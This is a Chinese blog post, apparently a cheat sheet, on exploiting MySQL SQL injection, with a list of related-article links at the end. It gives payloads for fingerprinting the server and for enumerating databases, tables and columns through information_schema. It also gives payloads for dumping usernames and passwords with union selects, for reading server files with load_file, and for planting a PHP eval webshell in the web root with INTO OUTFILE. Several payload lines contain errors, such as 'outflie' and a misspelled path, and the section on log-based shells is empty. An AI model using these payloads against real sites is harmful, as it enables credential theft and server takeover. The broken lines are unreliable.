• Mysql数据库注入


    一、有回显注入

    1.信息收集

    当发现存在sql注入后,首先应该进行查看数据库版本信息以及系统信息,确定后期渗透路径。

    system_user() 系统用户名
    user() 用户名
    current_user 当前用户名
    session_user()连接数据库的用户名
    database() 数据库名
    version() MYSQL数据库版本
    @@datadir 读取数据库路径
    @@basedir MYSQL 安装路径
    @@version_compile_os 操作系统

    2.注入查询账号密码

    查询全部数据库名

    schema_name from information_schema.schemata limit 0,1//
    schema_name from information_schema.schemata(可多行显示的情况下)
    group_concat(schema_name) from information_schema.schemata 

    查寻表名

    table_name from information_schema.tables where table_schema='数据库名' limit 1,1或
    table_name from information_schema.tables where table_schema='数据库名'
    group_concat(table_name) from information_schema.tables where table_schema='数据库名'//单引号可替换编码处理,如hex编码

    查字段

    column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1
    column_name from information_schema.columns where table_name='表名' and table_schema='库名'
    group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名'
    group_concat(column_name) from information_schema.columns where table_name='表名'

    查询数据库

    select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
    union select 1,group_concat(username),group_concat(password) from 表名
    group_concat(id,username,password) from 表名

    3.getshell

    想要在数据库写入 shell必要条件有读写权限,以及已知路径

    绝对路径:可以通过报错,404等界面获得

    查看读写是否开启:

    @@global.secure_file_priv
    secure_file_priv的值为null,表示限制mysqld不允许导入/导出
    secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下
    secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制

    读文件:

    load_file('c:/inetpub/wwwroot/index.php')

    写文件:

    "<?php @eval($_GET[x]);?>" into outfile 'C:/Inetpub/wwwroot/cc.php'

    3.1写入shell

    首先查看可写入路径

    尝试写入phpinfo 使用函数 union select <?php phpinfo()?> into outflie '/var/masql-files/info.php'

     使用load_file函数读取:union select out_file ('var/mysql-files/info.php')

    3.2利用日志写入shell

     
  • 相关阅读:
    Web网站架构演变—高并发、大数据
    企业级Nginx Web服务优化实战
    初始化mysql数据库时提示字符编码错误的解决办法
    linux下logrotate 配置和理解
    Centos 5.2下安装多个mysql数据库
    编译安装 mysql 5.5,运行 cmake报错Curses library not found
    Centos 5.5 编译安装mysql 5.5.9
    理解索引的基数
    centos下yum安装mysql5.6后,无法启动 MySQL Daemon failed to start
    如何从MySQL官方Yum仓库安装MySQL5.6
  • 原文地址:https://www.cnblogs.com/Shepherd-boy/p/15065273.html
Copyright © 2020-2023  润新知